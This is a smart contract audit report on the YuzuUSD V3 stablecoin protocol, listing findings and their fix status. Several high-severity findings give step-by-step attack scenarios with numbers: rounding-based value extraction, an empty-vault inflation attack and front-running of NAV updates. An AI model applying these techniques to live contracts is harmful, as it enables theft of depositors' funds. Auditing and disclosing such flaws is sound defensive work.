

YuzuUSD V3

Smart Contract Security Assessment

July 30, 2026



ABSTRACT

Dedaub was commissioned to perform a security audit of the latest version of the [Yuzu protocol](#), by Ouroboros and [TelosC](#). The audit focused on PR [#27](#), which introduces the third version of the protocol. Several high, medium, and low severity findings are identified along with some protocol consideration points and advisory recommendations. The high severity findings can lead to theft of funds from either other users or the protocol in specific conditions. PR [#28](#) fixes all of the high and medium (bar one) issues, and most of the low and advisory issues. The remaining issues stem from acknowledged design decisions and represent risk that has been accepted by the client.

BACKGROUND

The YuzuUSD protocol is a stablecoin ecosystem centered on YuzuUSD (yzUSD), which is minted 1:1 against a collateral asset under a supply cap, with collateral held in a treasury. Users may deposit yzUSD into the ERC-4626-compatible StakedYuzuUSD (syzUSD) vault to earn yield, while liquidity providers can participate in the YuzulPV3 Insurance Liquidity Pool and receive yield-bearing YuzulPV3 tokens. yzUSD and YuzulPV3 tokens can be redeemed instantly against an on-contract liquidity buffer, or through an orderbook where redemptions are fulfilled by third parties in a three-step create/fill/finalize process; syzUSD uses two-step delayed redemptions. The PSM module chains the yzUSD and syzUSD legs into a single instant deposit or redemption for permitted users, funded by its own liquidity pool, and falls back to its own redeem orderbook when that liquidity is insufficient. All components are upgradeable proxies, and the governance model is centralized, with an administrator controlling several critical protocol functions.

The version under audit strengthens the protocol with:

- per-block and daily mint and redemption throttles,
- role-based exemptions,
- minimum transaction amounts,

- same-block protection on supported instant-redemption paths,
- configurable yzUSD NAV markdowns with cooldown and step-size limits,
- public instant syzUSD redemptions with dedicated fees,
- role-gated distribution controls,
- capped YuzulPV3 mint and annualized management fees,
- high-watermark performance fees,
- bounded pool updates,
- a one-time recovery of lost syzUSD shares, and
- role-gated deterministic deployment of YuzulPV3 vaults.

The throttles, minimum amounts, and same-block guard extend to the PSM's instant paths, and the V3 yzUSD and YuzulPV3 implementations delegate part of their shared logic to a common facet contract.

SETTING & CAVEATS

This audit report mainly covers the contracts of the <https://github.com/Telos-Consilium/ouroboros-contracts/> repository of the Yuzu Protocol at commit [e5cde88417f1dfa23cd24dad1db3da26eaf80882](#) of the the v3 ([#27](#)) pull request. This is mainly a diff audit, focusing on the changes introduced by the pull request.

Audit Start Date: **July 20, 2026**

Report Submission Date: **July 30, 2026**

Furthermore, a fix review was performed on commit [c1c03802bc32c2c21247a3f179272804f11a7ed1](#) of PR [#28](#).

Three auditors (one part-time) worked on the following contracts:

```
ouroboros-contracts/src/
├── libraries/
│   ├── YuzuV3Constants.sol
│   ├── YuzuV3Fees.sol
│   ├── YuzuV3RestrictedShares.sol
│   └── YuzuV3Throttle.sol
├── ovault/
│   ├── Proto0VaultComposer.sol
│   └── PSM0VaultComposer.sol
├── proto/
│   ├── YuzuIssuer.sol
│   ├── YuzuMinAmounts.sol
│   ├── YuzuOrderBook.sol
│   ├── YuzuProto.sol
│   ├── YuzuProtoV2.sol
│   └── YuzuThrottle.sol
├── PSM.sol
├── PSMV2.sol
└── StakedYuzuUSD.sol
```

- StakedYuzuUSDV2.sol
- StakedYuzuUSDV3Recovery.sol
- StakedYuzuUSDV3.sol
- storage/
 - YuzuV3Storage.sol
- YuzuILP.sol
- YuzuILPV2.sol
- YuzuILPV3Facet.sol
- YuzuILPV3Factory.sol
- YuzuILPV3.sol
- YuzuUSD.sol
- YuzuUSDV2.sol
- YuzuUSDV3Facet.sol
- YuzuUSDV3.sol
- YuzuV3FacetBase.sol
- YuzuV3FacetRouting.sol

The audit's main target is security threats, i.e., what the community understanding would likely call "hacking", rather than the regular use of the protocol. Functional correctness (i.e. issues in "regular use") is a secondary consideration. Typically it can only be covered if we are provided with unambiguous (i.e. full-detail) specifications of what is the expected, correct behavior. In terms of functional correctness, we often trusted the code's calculations and interactions, in the absence of any other specification. Functional correctness relative to low-level calculations (including units, scaling and quantities returned from external protocols) is generally most effectively done through thorough testing rather than human auditing.

PROTOCOL-LEVEL CONSIDERATIONS

ID	Description	STATUS
P1	NAV markdowns and recoveries can cause insolvency if not performed carefully	INFO
YuzuUSDV3.sol ▾ <code>_effectiveNav = min(nav, par)</code> is applied to both the mint and the redeem conversion, and minting is not disabled while NAV is below par. A deposit at <code>nav = n < par</code> mints <code>shares = assets * 1e30 / n</code> (more shares per asset than at par). If NAV is later raised to <code>m (n < m ≤ par)</code>, those shares redeem for <code>assets * m / n > assets</code>. The extra value is paid from the shared liquidity buffer (i.e. from the holders who were present when the markdown was booked). The mechanism is designed so NAV can move back up after a markdown (the <code>setNav()</code> increase path is coded and step-capped). The danger is that NAV raises are not validated against current supply and backing. A markdown represents a real loss; if new shares are minted during the markdown window and NAV is then raised toward par without the backing to cover the expanded supply at that NAV, the vault becomes under-collateralized. Therefore, the solvency of the YuzuUSD cannot be guaranteed by the on-chain code and the admins need to manually make sure that all tokens are backed with existing supply before any change of the NAV. Comments: This is now partially mitigated by the introduction of a staged NAV update state that prevents immediate public minting and redemption. The developers acknowledge that this does not remove the responsibility of NAV-manager towards solvency, backing, etc.		

P2	Redeem order re-prices at filling time NAV with no owner-side floor	INFO
YuzuUSDV3Facet.sol ▾ PSMV2.sol ▾ <code>createRedeemOrder()</code> escrows the owner's tokens immediately with <code>assets = 0</code>; <code>fillRedeemOrder()</code> values them at the NAV at the time it is called. A markdown between create and fill cuts the owner's payout with no recourse, and <code>createRedeemOrderWithMaxFee</code> bounds only the fee, not NAV. This can lead to unexpected partial loss of assets, due to unexpected markdowns. Therefore, one might consider adding a slippage guard set at the time of redeem order creation to allow the token owner to manage their risk and increase confidence in the protocol. Similarly, <code>PSMV2</code> would benefit from such slippage protection. Comments: The developers acknowledge this as a design decision, meant to ensure in-flight orders are always fillable.		
P3	<code>PSMV2</code> changes the effective account for <code>StakedYuzuUSDV3</code> exemptions	INFO
<code>PSMV2</code> uses itself as the receiver for <code>vault1</code> (<code>StakedYuzuUSDV3</code>) deposits, transferring the returned syzUSD to the original receiver after this succeeds. This changes the behaviour from <code>PSM</code>, wherein now minimums, maximums, and exemptions are checked against the <code>PSMV2</code> address rather than the final intended receiver address. Should exemptions be granted to this receiver address in <code>vault1</code>, the user will not be able to benefit from them unless <code>PSMV2</code> has the same roles.		

P4	PSMV2 erases user identity from the vaults' own event streams, and the PSM's <code>Withdraw</code> misreports the owner on the fill path	INFO
PSMV2 interposes itself as the vault-side principal, syzUSD now emits <code>Deposit(PSM, PSM, ...)</code> and <code>Withdraw(PSM, PSM, PSM, ...)</code> for all user flow, where V1 carries the end user. Any monitoring, accounting or compliance tooling built on the vaults' ERC-4626 events loses user identity at this upgrade thus the PSM's own events are now the only place the user appears. On the PSM side, <code>_fillRedeemOrder()</code> calls <code>_redeem(caller, order.receiver, address(this), order.shares)</code>, so the <code>Withdraw</code> also names the PSM as owner; the <code>FilledRedeemOrder</code> emitted immediately after does carry <code>order.owner</code>, so it is recoverable, but an indexer reconciling from <code>Withdraw</code> alone attributes every order settlement to the PSM. Separately, <code>CancelledRedeemOrder</code> has no indexed parameters and omits both owner and shares. Comments: PSM events and order data should be used as the source for user-level attribution, not inner-vault ERC-4626 events.		

VULNERABILITIES & FUNCTIONAL ISSUES

This section details issues affecting the functionality of the contract. Dedaub generally categorizes issues according to the following severities, but may also take other considerations into account such as impact or difficulty in exploitation:

Category	Description
CRITICAL	Can be profitably exploited by any knowledgeable third-party attacker to drain a portion of the system's or users' funds OR the contract does not function as intended and severe loss of funds may result.
HIGH	Third-party attackers or faulty functionality may block the system or cause the system or users to lose funds. Important system invariants can be violated.
MEDIUM	Examples: • User or system funds can be lost when third-party systems misbehave. • DoS, under specific conditions. • Part of the functionality becomes unusable due to a programming error.
LOW	Examples: • Breaking important system invariants but without apparent consequences. • Buggy functionality for trusted users where a workaround exists. • Security issues which may manifest when the system evolves.

Issue resolution includes “dismissed” or “acknowledged” but no action taken, by the client, or “resolved”, per the auditors.

HIGH SEVERITY:

ID	Description	STATUS
H1	Value extraction is possible due to pool credit overestimation	RESOLVED

YuzuILPV3Facet.sol ▾

In `_poolSizeCredit`, the credit calculation is a formula having `netTotalAssets` and `poolNetOfManagementFee` as denominators:

`YuzuILPV3Facet::_poolSizeCredit():434-440`

```

return Math.mulDiv(
    Math.mulDiv(assets, netOfManagementFee, netTotalAssets,
    Math.Rounding.Floor),
    pool,
    poolNetOfManagementFee,
    Math.Rounding.Floor
);

```

Notice however, that these two values are floored when calculated: `netTotalAssets = _proxyTotalAssets(router, Math.Rounding.Floor)` (line 429), and similarly for `poolNetOfManagementFee`.

Therefore, the final calculation of the credited amount is overestimated. By overestimating the pool size after a deposit, the depositor shares increase in value and thus it allows them to extract value through depositing and redeeming. The extracted value scales with `deposit / poolNetValue`; it is negligible in a healthy, well-capitalized pool but materializes when the net pool is near dust while yield/fees are active and deposits are open.

Furthermore, the linear-yield model turns this rounding bias into large, retroactive extraction. The outer $\text{pool} / \text{poolNetOfManagementFee}$ factor is meant to act as a yield discount. $\text{poolNetOfManagementFee}$ is roughly $\text{poolSize} * (1 + \text{rate} * \text{dt} / (1\text{e}6 * \text{days}))$ so dividing by it converts the incoming deposit into “last-update pool units” and stops a just-arrived deposit from claiming yield that accrued before it entered.

That discount silently disappears on a small pool: the accrued yield $\text{poolSize} * \text{rate} * \text{dt} / (1\text{e}6 * \text{days})$ is an integer that floors to zero whenever $\text{poolSize} * \text{rate} * \text{dt} < 1\text{e}6 * 86400$. With the yield floored away, $\text{poolNetOfManagementFee} \approx \text{poolSize}$, so the factor $\text{pool} / \text{poolNetOfManagementFee}$ collapses to 1 and the deposit is credited to poolSize un-discounted. The vault then recomputes the yield term on the now-ballooned poolSize over the same elapsed dt , instantly minting retroactive yield $\approx \text{deposit} * \text{rate} * \text{dt} / (1\text{e}6 * \text{days})$ into totalAssets which the depositor (now holding essentially the entire supply) immediately owns. The size of this leak is therefore not a rounding dust but a full period of yield on the deposit; it grows with how long the pool sits near-zero.

Worked example ([Proof of Concept - H1](#)).

The underlying asset is a 6-decimal USDC, so 1 USDC = $1\text{e}6$ base units.

1. Bootstrap the pool with 0.001 USDC ($\text{poolSize} = 1000$ base units) and arm 1%/day yield ($\text{dailyLinearYieldRatePpm} = 10_000$) via `updatePool`.
2. Let $\text{dt} = 8639$ s (~0.1 day) elapse. The true pre-deposit yield is $1000 * 10000 * 8639 / (1\text{e}6 * 86400) = 0.9998$ base units, which floors to 0 – so `totalAssets()` still reads 1000 and the discount factor becomes $1000 / 1000 = 1$.
3. The attacker deposits 1,000,000 USDC ($1\text{e}12$ base units, mint fee 0). Un-discounted, the credit pushes poolSize to $1000 + 1\text{e}12 \approx 1\text{e}12$.

4. The yield term, recomputed on the ballooned pool over the *same dt*, is now $\approx 1e12 * 10000 * 8639 / (1e6 * 86400) = 999,884,257$ base units of retroactive yield added to `totalAssets`.
5. The attacker holds the entire supply, so their shares are immediately worth $1,000,999.884257$ USDC vs the $1,000,000.000000$ USDC paid $\rightarrow +999.884257$ USDC, which may be withdrawn as real assets through the order book (the filler funds the inflated payout).

On the same $1,000,000$ USDC deposit, the extraction grows directly with how long the pool is left near-zero: a 0.00001 USDC pool (`poolSize = 10`) left stale for 7 days leaks $1e12 * 10000 * 604800 / (1e6 * 86400) = 69,999.999998$ USDC (~7%), and a 1-base-unit pool left for ~100 days leaks $989,999.999997$ USDC (~99%) – nearly the entire deposit.

Comments: Deposit credit is now calculated from exact yield/fee rates, preventing dependence on rounded amounts.

H2	StakedYuzuUSDV3 vulnerable to inflation attack	RESOLVED
----	--	----------

StakedYuzuUSDV3.sol ▾

StakedYuzuUSDV3 is vulnerable to an inflation attack when it is empty. The attack follows the following flow, starting with an empty vault ([Proof of Concept - H2](#)):

1. Attacker deposits 1 asset and gets 1 share in return, resulting in:
`totalSupply = 1` and `totalAssets = 1`
2. Attacker donates $200e12$ assets, resulting in:
`totalSupply = 1` and `totalAssets =  $200e12 + 1$`
3. Victim deposits $100e12$ assets and gets 0 shares. Note since `_decimalsOffset() = 0` then `_convertToShares( $100e12$ , Floor)` = $100e12 * (1+1) / (200e12 + 1 + 1) = 0$

4. Repeat the above (3.) two more times, resulting in:
 $\text{totalSupply} = 1$ and $\text{totalAssets} = 500\text{e}12 + 1$
5. Attacker redeems his 1 share and gets 250e12 assets, note:
 $\text{_convertToAssets}(1, \text{Floor}) = 1 * (500\text{e}12 + 1) / (1 + 1) \approx 250\text{e}12.$

This attack can be made impractical by several means, including setting non-zero `\_decimalsOffset()`, dead shares allocated immediately as part of deployment, or setting `minDeposit` to a big-enough non-zero number.

Comments: Deposits that would mint zero shares now revert. During deployment, a `StakedYuzuUSDV3` deployment will also be seeded with irrevocable dead shares, to prevent total ownership of an attacker of the vault's shares.

H3	Front running <code>setNav()</code> allows extraction of value	RESOLVED
----	--	----------

YuzuUSDV3Facet.sol ▾ PSMV2.sol ▾

`setNav` writes yzUSD's share price as a discrete step. Because `\_convertToShares` and `\_convertToAssets` are pure functions of `nav`, that single transaction reprices every yzUSD-denominated position atomically, with no vesting or smoothing.

`PSMV2` exposes that price to unprivileged users as a two-sided, instant, fee-free conversion: `\_deposit` mints yzUSD at the current `nav`, `\_redeem` pays `convertToAssets(assets)` at the current `nav`, and the underlying comes from the PSM's own liquidity pool. Any account positioned on the correct side of a `setNav` transaction when it executes therefore captures the full step in cash.

An attacker with mempool visibility can thus front-run a `setNav()` call to either extract value or to avoid loss of value on their shares.

1) Front-run an upward reset to extract value:

Precondition: **nav** is marked down (a loss already borne by existing holders) and the operator is walking it back.

Behaviour:

block N:

[attacker] psm.deposit(50_000_000e6, attacker)

[operator] setNav(1.001e18) ← attacker ordered ahead

block N+1:

[attacker] psm.redeem(all, attacker, attacker)

nav before / after	$0.91e18 \rightarrow \text{par}(\min(1.001e18, 1e18))$
Minted at the low price	$\$50m \cdot 1e30 / 0.91e18 = 54,945,054.945054e18$ yzUSD
Capital / exposure	\$50,000,000 for one block interval
Proceeds	\$54,945,054.95
Extracted	\$4,945,054.95 (9.89 %)
Settlement	PSM pool $-\$54,945,054.95 \cdot \text{yzUSD}$ treasury $+\$50,000,000$

2) Front-run a markdown to dodge a loss:

Precondition: the attacker holds a mature position and the operator is about to mark down.

Behaviour:

block N:

[attacker] psm.redeem(all, attacker, attacker)

[operator] setNav(0.9e18) ← attacker ordered ahead

[attacker] psm.deposit(all, attacker) ← attacker restored his position

	attacker	identical honest holder
Position before	\$10,000,000	\$10,000,000
Received / worth after	\$10,000,000 (par)	\$9,000,000
Loss dodged / absorbed	\$1,000,000	\$1,000,000

Comments: A staged-update state is introduced as a requirement before any NAV changes, during which immediate minting/redemptions are disabled. Entering this state in one block, and updating the NAV in another block while monitoring for large deposits in the former block allows the admins to reduce the risk of significant value extraction through front-running.

MEDIUM SEVERITY:

ID	Description	STATUS
M1	Pool insolvency not handled/signalled	RESOLVED
YuzulPV3Facet.sol ▾		

`updatePool()` updates the ILP pool size, by reducing V3 management and performance fees from the inputted trusted gross value `newPoolSize` (external treasury + liquidity buffer):

`YuzuILPV3Facet::updatePool():180-183`

```
uint256 managementFee = _proxyManagementFee(router, Math.Rounding.Ceil);
uint256 netOfManagementFee = newPoolSize > managementFee ? newPoolSize -
managementFee : 0;
uint256 performanceFee = _proxyPerformanceFee(router, netOfManagementFee,
Math.Rounding.Ceil);
uint256 netPool = netOfManagementFee > performanceFee ? netOfManagementFee -
performanceFee : 0;
```

However, the fees, `managementFee` and `performanceFee`, together could reach or exceed the `newPoolSize`. When they exceed this, the new pool size, `netPool`, is set to zero. In the case they exceed it, this results in insolvency: the pool owes the protocol owner more than it has across its treasury and liquidity buffer.

This situation is not appropriately represented on-chain: there is no event emitted signalling insolvency. Any unaware fresh depositor's assets could be extracted to pay off this debt.

M2	Denial of service of PSM by USER_ROLE round tripping	ACKNOWLEDGED
----	--	--------------

PSMV2.sol ▾

Any `USER_ROLE` holder can deny the PSM's core functionality to all users. A PSM round trip is exactly fee-neutral and instant. The underlying paid in goes to yzUSD's liquidity buffer or to the treasury, while the underlying paid out comes from the PSM's pool. Each cycle therefore moves capital from the PSM pool into the treasury at zero cost to the actor (except for gas). With maxed throttles the attack repeats until draining the pool. With finite throttles the attacker denies the protocol by exhausting the throttles.

So, only with the cost of gas, the attacker can cause a full denial of service of the PSM instant redeem functionality by keeping the pool empty or exhausting the throttle.

Comments: Users will be KYCed, and the risk will be managed with throttling, monitoring, and liquidity management.

M3	<code>maxRedeemOrder()</code> does not calculate the correct max amount can be redeemed	RESOLVED
----	---	----------

PSMV2.sol ▾

`maxRedeemOrder(owner)` (when not 0) is bare `_vault1.balanceOf(owner)`. Unlike `PSMV2.maxRedeem` (`src/PSMV2.sol:75-101`), which explicitly folds in `syzUSD`'s `redeemThrottleRemaining(PSM)`, `syzUSD`'s `minWithdraw` and the owner's same-block restricted balance, the order path applies none of the constraints the eventual inner `styz.redeem(shares, PSM, PSM)` will enforce. Orders can therefore be created that the PSM can never settle.

It also ignores the two floors that `createRedeemOrder` itself enforces moments later (i.e, `minRedeemOrder` and the PSM's own `minWithdraw`). So, the view may report a positive maximum while every order reverts, and no amount is creatable at all.

Examples of such orders are:

- Redeem shares above the daily redeem throttle **limit** of `syzUSD` (above the current *remaining* is only deferred until the window resets; above the configured limit can never settle in a single fill)
- Redeem shares whose `yzUSD` value is below `syzUSD`'s `minWithdraw`
- Redeem to a `receiver` that is on the underlying token's blocklist (`USDT0` has one)
- Any order created before `syzUSD` is paused.

- Redeem shares of amount `maxRedeemOrder(owner)` which are less than `minRedeemOrder` or their corresponding assets are less than `minWithdraw`.

Such orders cannot be filled and will cause a revert if attempted to be filled along with other orders because `fillRedeemOrders()` is the only fill entry point and is all-or-nothing: a revert anywhere in the loop rolls back the whole batch, including the `_depositLiquidity` that preceded it. Additionally, the owner cannot self-rescue because `cancelRedeemOrders()` is `ORDER_FILLER_ROLE`-only.

M4	Order fills settle for a revoked <code>USER_ROLE</code> owner	RESOLVED
----	---	----------

PSMV2.sol ▾

`_fillRedeemOrder()` does not check whether `order.owner` or `order.receiver` has the `USER_ROLE`. So, a user who front-runs their own revocation with `createRedeemOrder(balance, self, self)` will be able to redeem his tokens if his order is filled. If the filler is an off-chain procedure that automatically fills his order, the revoked user dodges a revocation that was intended to lock his assets.

LOW SEVERITY:

ID	Description	STATUS
L1	Unintended devaluation of the shares of a depositor when pool is empty	RESOLVED

YuzuLPV3Facet.sol ▾

`_poolSizeCredit()` adjusts `poolSize` for a new deposit to ensure its net value equals the just added assets, when accounting for accrued pool yield and fees since the last

pool update. However, when the pool size is zero it does not account for accrued management fees, only discounting the yield through `_proxyDiscountYield()`. This results in a devaluation of newly deposited assets, given the following conditions:

- `TotalSupply > 0` : Some users holds tokens
- `TotalAssets > 0` : This can happen if the `netDistributed` is +ve because $\text{TotalAssets} = \text{poolSize} + \text{yield} + \text{netDistributed} - \text{managementFee} - \text{performanceFee}$ and all these terms except `netDistributed` are zero when `poolSize = 0`
- `managementFeeRatePpm > 0` : Set by admins

In practice, this miscalculation can only happen if the admins decide to intentionally force the pool size to zero while `totalSupply` is not zero (i.e. the protocol is insolvent). Such a scenario is unlikely. On the other hand, fixing the issue is simple as one can calculate a management premium using a very similar formula to the yield discount and thus apply both formulas when crediting a zero pool.

L2	Daily mint throttle is a fixed UTC-day window	ACKNOWLEDGED
YuzuV3Throttle.sol ▾ The daily mint budget is keyed to a fixed UTC calendar day (<code>currentDay() = block.timestamp / 1 days</code>), used by <code>remaining()</code> and <code>consume()</code>, not a sliding 24h window. A user can spend the full daily budget just before <code>00:00 UTC</code> and again just after, so the advertised “daily limit“ can be exceeded up to 2× within seconds (still bounded per block). Comments: The developers confirm this as intended, limits will take possible boundary crossover in mind.		
L3	Wrong reporting of <code>maxMint</code>	RESOLVED

YuzuLPV3Facet.sol ▾

YuzuUSDV3.sol ▾

When the mint-throttle remaining is $\geq \text{type(uint128).max}$, `_maxMint` (`maxMint` for `YuzuUSDV3`) returns the full supply headroom, ignoring the throttle. Elsewhere, the behaviour is that `type(uint256).max` signals ‘no limit’.

Note also that the check bounds `remaining`, and not `convertToAssets(headroom)`. For a finite `remaining` in $[2^{128}-1, \text{convertToAssets(headroom)})$, `maxMint` may return `headroom`, while `mint()` consumes `convertToAssets(headroom) > remaining` net assets from the throttle and reverts `ExceededMintDailyLimit(1e39, type(uint128).max)`.

L4

Banded-distribute projection ignores the performance fee on the distributed amount

RESOLVED

YuzuLPV3Facet.sol ▾

In `distribute()` the projected end-of-distribution price uses `_proxyTotalAssets(Math.Rounding.Floor) + assets`, adding the full `assets`. When the vault is above its high-water mark, the distributed `assets` are themselves subject to the performance fee which the projection never subtracts, so the projected price is optimistically high. That loosens the lower `minSharePrice` bound (the guard can pass, even though the realized end price lands below `minSharePrice`) and, conversely, can cause a spurious `maxSharePrice` revert.

L5

Unbounded `navCooldown/navStepCapPpm` can freeze or brick NAV

RESOLVED

YuzuUSDV3Facet.sol ▾

`setNavCooldown` has no upper bound. A very large cooldown freezes all NAV updates, including the markdown of a real loss, and `cooldown = type(uint256).max` permanently bricks `setNav()` via the checked `lastUpdate + cooldown` overflow.

Independently, `stepCapPpm = 0` freezes recovery: after a markdown a non-exempt `NAV_MANAGER` can neither raise nor lower NAV, leaving the vault stuck below par.

Additionally, `stepCapPpm = 1e6` makes `maxDelta = currentNav`, which uncaps markdowns (a non-exempt `NAV_MANAGER` can mark down to `nav = 1` in one call) and lets a single markup jump NAV by up to 100% – i.e. double `currentNav` in one update.

L6

`nav > par` stored/emitted raw while conversions cap at par

ACKNOWLEDGED

YuzuUSDV3Facet.sol ▾

Setting NAV above par stores and emits the raw value and `isMarkedDown()` stays `false`, but `_effectiveNav` clamps to par so conversions are unaffected. Only the step-cap math reads raw `_nav`, so an over-par value consumes a cooldown and sizes the next markdown's cap off an inflated base, and reading `nav()` can mislead integrators.

Comments: This is intended, above-par NAV is kept as a bookkeeping signal.

L7

`PSMV2.maxDeposit()` may return positive value even though deposit is below minimums of vault0 and vault1

RESOLVED

PSMV2.sol ▾

`PSMV2.maxDeposit()` calls `PSM.maxDeposit()` that checks if the deposit is below the minimal values of the inner vaults. Only if under the minimum of one of the vaults, the `maxDeposit` is clamped to zero. However, the deposit might at this step be higher

than the minimum of both vaults, but then when `PSMV2.maxDeposit()` performs `Math.min(super.maxDeposit(receiver), _mintThrottleRemaining(receiver))`, the amount can be clamped down to `_mintThrottleRemaining(receiver)`. This new value of the `maxDeposit` is not guaranteed to be higher than the minimal values of the inner vaults and it is never re-checked. Only a check against the minimal value of `PSMV2` is performed. Thus, `PSMV2.maxDeposit()` might report a false overestimated value of the `maxDeposit` which will revert if used for depositing. This miscalculation might surface on a daily basis if `PSMV2.minDeposit < ysUSD.minDeposit` and `PSMV2.minDeposit < sysUSD.minDeposit` every time the mint throttle remaining goes lower than the minimums of the inner vaults causing reverts.

L8

`fillRedeemOrders()` never re-checks `_canRedeem()`:
pausing yzUSD does not stop the PSM

ACKNOWLEDGED

PSMV2.sol ▾

When filling the redeem orders, the protocol calls directly `_redeem()` without calling `_canRedeem()` to check whether this redeem order can be filled. `PSM._canRedeem()` checks `canRedeem()` of vault0 and vault1 which verifies that the protocol is not paused. Missing this check allows an order to be filled while the protocol is paused.

Moreover, revoking `REDEEMER_ROLE` is equally ineffective at the fill, and for the same reason: settlement runs `styz.redeem → yzUSD.burn`, neither of which consults yzUSD's `canRedeem()`. It does still close the entry points, since `maxRedeem()` and `maxRedeemOrder()` both read `_canRedeem()`. Therefore, `BURNER_ROLE` is the only yzUSD-side permission the settlement path actually consumes, and therefore the only reliable off switch.

Comments: This is intended, the order filler is trusted, and can be stopped through off-chain action or removing inner-vault permissions should the need arise.

L9	<code>createRedeemOrder(0, ...)</code> bypasses <code>USER_ROLE</code>	RESOLVED
PSMV2.sol ▾ When <code>PSMV2.minRedeemOrder == 0</code> and <code>PSMV2.minWithdraw == 0</code> (which is the state of the reference deployment and the default after <code>reinitialize()</code>), an attacker without <code>USER_ROLE</code> can successfully create a redeem order with <code>shares = 0</code> since both comparisons above do not cause a revert and <code>safeTransferFrom(vault1, owner, PSM, 0)</code> succeeds with zero balance and zero allowance. The order is written to <code>_orders</code> and added to <code>_pendingOrderIds</code> and only <code>ORDER_FILLER_ROLE</code> can prune it. This violates an important invariant which enforces only whitelisted users to use the PSM. However, the violation has limited impact since the non-whitelisted attacker can only create redeem orders with zero shares.		

CENTRALIZATION ISSUES:

It is often desirable for DeFi protocols to assume no trust in a central authority, including the protocol's owner. Even if the owner is reputable, users are more likely to engage with a protocol that guarantees no catastrophic failure even in the case the owner gets hacked/compromised. We list issues of this kind below. (These issues should be considered in the context of usage/deployment, as they are not uncommon. Several high-profile, high-value protocols have significant centralization threats.)

ID	Description	STATUS
N1	LIMIT_MANAGER_ROLE has full pausing power implicitly	INFO
YuzuUSDV3.sol ▾ StakedYuzuUSDV3.sol ▾ The LIMIT_MANAGER_ROLE can fully pause the protocol by controlling setMinWithdraw , setMinDeposit , setMinRedeemOrder to max values and set{Mint,Redeem}Throttle to zeros without the PAUSE_MANAGER_ROLE.		
N2	A collusion between DISTRIBUTOR_ROLE and ORDER_FILLER_ROLE can drain treasury for YuzuILP	INFO
YuzuILPV3Facet.sol ▾ The DISTRIBUTOR_ROLE can write unbounded values to _lastDistributedAmount (unlike StakeYuzuUSD where distribution amount is bounded). Therefore, DISTRIBUTOR_ROLE can create a very large distribution (more than what the treasury holds) to inflate the value of the shares. DISTRIBUTOR_ROLE can then use the inflated value of the shares to drain the entire treasury. For such an attack to be practical the ORDER_FILLER_ROLE should be compliant to allow the overvalued redemption to happen.		

Comments: A cap on distributions, relative to total assets, was introduced. This is configured by a separate trusted operator, and hardens the code against this behaviour.		
N3	NAV_MANAGER_ROLE can extract value from other users	INFO
YuzuUSDV3Facet.sol ▾ The NAV_MANAGER_ROLE can be used to markdown the share price, mint some tokens for himself, and after the cool down restore the nav back to par and redeem his shares. The profit is newly minted undercollateralised supply which will basically damage all previous depositors.		
N4	LIQUIDITY_MANAGER_ROLE can drain the entire PSM pool	INFO
PSMV2.sol ▾ Using withdrawLiquidity, LIQUIDITY_MANAGER_ROLE can withdraw all PSM liquidity to any address of his choice.		
N5	DISTRIBUTOR_ROLE can extract distributions to themselves	INFO
YuzulLPV3Facet.sol ▾ If multiple DISTRIBUTOR_ROLE accounts are assigned and one of them is compromised, the compromised account can redirect all the distributions to themselves by calling terminateDistribution() with his own receiver address to extract other distributors fundings		

OTHER / ADVISORY ISSUES:

This section details issues that are not thought to directly affect the functionality of the project, but we recommend considering them.

ID	Description	STATUS
A1	Multiplication overflows	ACKNOWLEDGED
YuzuLPV3Facet.sol Multiplication in <code>_proxyYieldSinceUpdate</code> and <code>_proxyManagementFee</code> can overflow if <code>poolSize</code> is larger than <code>~1.16e72</code>. It is not practically possible for the pool size to be that big. However, we note that such an overflow completely DOSs the protocol.		
A2	Extra shares minted if <code>supplyCap</code> is not multiple of <code>1e12</code>	RESOLVED
YuzuLPV3Facet.sol <code>_maxDeposit()</code> takes the <code>ceilDiv</code> of <code>headroom</code> divided by <code>1e12</code>, when the supply is zero. When <code>headroom</code> is not divisible by zero, this results in the depositor receiving extra shares (less than <code>1e12</code>) they would not otherwise receive if supply was bigger than zero. If the supply cap is intended to be always divisible by <code>1e12</code>, then there is no extra share minting (and normal division is enough).		
A3	Same-block distribution termination creates a zero denominator	DISMISSED
StakedYuzuUSDV3.sol Terminating a distribution in the same block as it was started results in <code>lastDistributionPeriod = 0</code>. <code>lastDistributionPeriod</code> is used as a denominator		

in the calculation of `_undistributedAssets()`, on which `totalAssets()` depends, and thus would overflow. While unlikely, there is no on-chain guard to prevent this.

Comments: This is a false positive; the inherited `StakedYuzuUSDV2._undistributedAssets()` prevents this, by returning `0` when the `lastDistributionPeriod` is `0`.

A4	Constant literal is used for converting tokens to assets in <code>_maxDeposit</code>	RESOLVED
YuzuUSDV3Facet.sol ▾		
The function <code>_maxDeposit</code> converts <code>headroom</code> units to assets units by dividing with the literal <code>1e12</code>. This is prone to errors in case different assets are used with a diverged value <code>_decimalsOffset()</code>. It is recommended to add a getter in the router for getting the standard conversion rate.		
A5	Dead integrations mapping still readable in StakedYuzuUSDV3	RESOLVED
StakedYuzuUSDV3.sol ▾		
<code>setIntegration()</code> is overridden in V3 to disable integration as this functionality was migrated into roles. However, <code>getIntegration()</code> from V2 is not overridden and still returns the stale config, which can mislead off-chain tooling into believing an address is delay/fee-exempt when the governing policy is now <code>DELAY_EXEMPT_ROLE</code> / <code>REDEEM_FEE_EXEMPT_ROLE</code>. Consider making <code>getIntegration()</code> revert for parity with <code>setIntegration()</code>.		
A6	NAV markdown while an order is pending may result in less than minimum withdrawal	ACKNOWLEDGED

YuzuUSDV3Facet.sol ▾		
<code>_createRedeemOrder()</code> checks that the asset (USDC) value of the shares (syzUSD) to redeem is bigger than the specified minimum withdrawal, at the current pricing. However, this is not necessarily maintained at order filling time, due to possible NAV markdown of the intermediate yzUSD against USDC.		
A7	Dead Code	RESOLVED
YuzuUSDV3Facet.sol ▾		
<code>_setPackedAddress()</code> is defined and never used function and can be removed from YuzuV3FacetBase.		
A8	<code>getPendingOrderIds()</code> pagination is unsafe across mutations	ACKNOWLEDGED
PSM.sol ▾		
<code>_pendingOrderIds()</code> is an <code>EnumerableSet.UintSet</code> (swap-and-pop), so paginating across separate calls while fills or cancels land in between silently skips ids swapped into an already-read window. Within one call the snapshot is consistent. Operator tooling must re-read from index 0 after each mutating transaction.		
A9	IPSM was not updated for V2	RESOLVED
IPSM.sol ▾		
<code>src/interfaces/IPSM.sol</code> omits all four V2 setters, both minimum getters, both throttle getters and reinitialize, so an integrator built against the published interface cannot see the limits that now govern its calls. <code>previewDeposit()</code> and <code>previewRedeem()</code> are non-virtual in PSM, so V2 could not have corrected them even		

